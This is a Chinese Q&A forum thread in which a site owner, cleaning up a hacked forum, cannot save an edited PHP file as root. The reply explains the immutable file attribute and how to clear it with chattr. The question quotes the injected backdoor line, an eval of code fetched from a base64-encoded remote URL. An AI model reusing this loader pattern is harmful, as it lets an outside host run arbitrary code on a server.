开发者社区> 问答> 正文

E212: Can't open file for writing怎么整?

网站论坛被挂码,找到了那个文件所在!! 有一段这东西: eval(base64decode(filegetcontents(base64decode('aHR0cDovL2FwaS5iY3RiYnMubmV0L2JldC50eHQ='))));

用 vi打开删除了这一段 然后esc :wq

保存不行

再次:wq!还是不行

再来,chmod +w 666 function_forum.php

还不行,提示我没有权限。。。

我是root登录的怎么还能没有权限呢?

展开
收起
a123456678 2016-06-17 15:12:52 5210 0
1 条回答
写回答
取消 提交回答
  • 目测是被设置了 immutable 属性。

    试试:

    $ lsattr some_file
    ----i--------e- some_file
    如果有这个 i 的话,sudo chattr -i some_file 干掉它,然后就可以修改了。

    A file with the `i' attribute cannot be modified: it cannot be deleted or renamed, no link can be created to this file and no data can be written to the file. Only the superuser or a process possessing the CAPLINUXIMMUTABLE capability can set or clear this attribute.

    2019-07-17 19:42:50
    赞同 展开评论 打赏
问答地址:
问答排行榜
最热
最新

相关电子书

更多
OPEN SOURCE 立即下载
OPEN SOURCE IN A DATA-DRIVEN WORLD 立即下载
低代码开发师(初级)实战教程 立即下载